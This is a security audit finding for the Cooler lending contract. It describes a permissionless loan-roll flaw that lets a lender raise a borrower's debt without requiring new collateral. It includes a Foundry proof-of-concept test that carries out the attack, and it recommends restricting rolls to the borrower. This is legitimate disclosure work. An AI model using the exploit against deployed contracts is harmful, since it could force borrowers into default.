libratus - Anyone can roll the loan on behalf of the borrower increasing the debt

[sherlock-admin2]

libratus

high

Anyone can roll the loan on behalf of the borrower increasing the debt

Summary

Depending on the roll conditions it may be possible to roll the loan without having to add more collateral and just increase the debt for the borrower. This attack can be easily implemented by the lender themselves.

Vulnerability Detail

Rolling a loan is permissionless. Under normal conditions it requires providing more collateral so it is usually not in the interest of anyone other than the borrower. However, if loanToCollateral changes for the roll, then newCollateral may be 0. This case is handled in code.

        if (newCollateral > 0) {
            collateral().safeTransferFrom(msg.sender, address(this), newCollateral);
        }

However, rolling will still increase the debt of the loan

        uint256 newDebt = interestFor(loan.amount, loan.request.interest, loan.request.duration);

        // Update memory accordingly.
        loan.amount += newDebt;

Increasing the debt can be in the interest of the lender, so lender can set up this scenario and force the borrower to pay more debt.

PoC

    function test_roll_increaseDebt() public {
        uint256 amount = 1e18;

        cooler = _initCooler();
        (uint256 reqID, ) = _requestLoan(amount);
        uint256 loanID = _clearLoan(reqID, amount, true, false);

        vm.prank(lender);
        cooler.provideNewTermsForRoll( // Set conditions favorable for the lender. Increase LTC to avoid paying extra collateral
            loanID,
            INTEREST_RATE * 10000,
            LOAN_TO_COLLATERAL * 2,
            1
        );

        Cooler.Loan memory oldLoan = cooler.getLoan(loanID);

        vm.prank(lender);
        cooler.rollLoan(loanID); // No new collateral needed

        Cooler.Loan memory newLoan = cooler.getLoan(loanID);

        // New amount - 9222966785513229497, Old amount - 1000410958904109589. Debt increased tenfold
        assertGt(newLoan.amount, oldLoan.amount);
    }

Impact

Lender can increase borrower's debt forcing a default.

Code Snippet

https://github.com/sherlock-audit/2023-08-cooler/blob/main/Cooler/src/Cooler.sol#L192

Tool used

Manual Review

Recommendation

The safest option is to only allow rolling a loan by the borrower

Duplicate of #26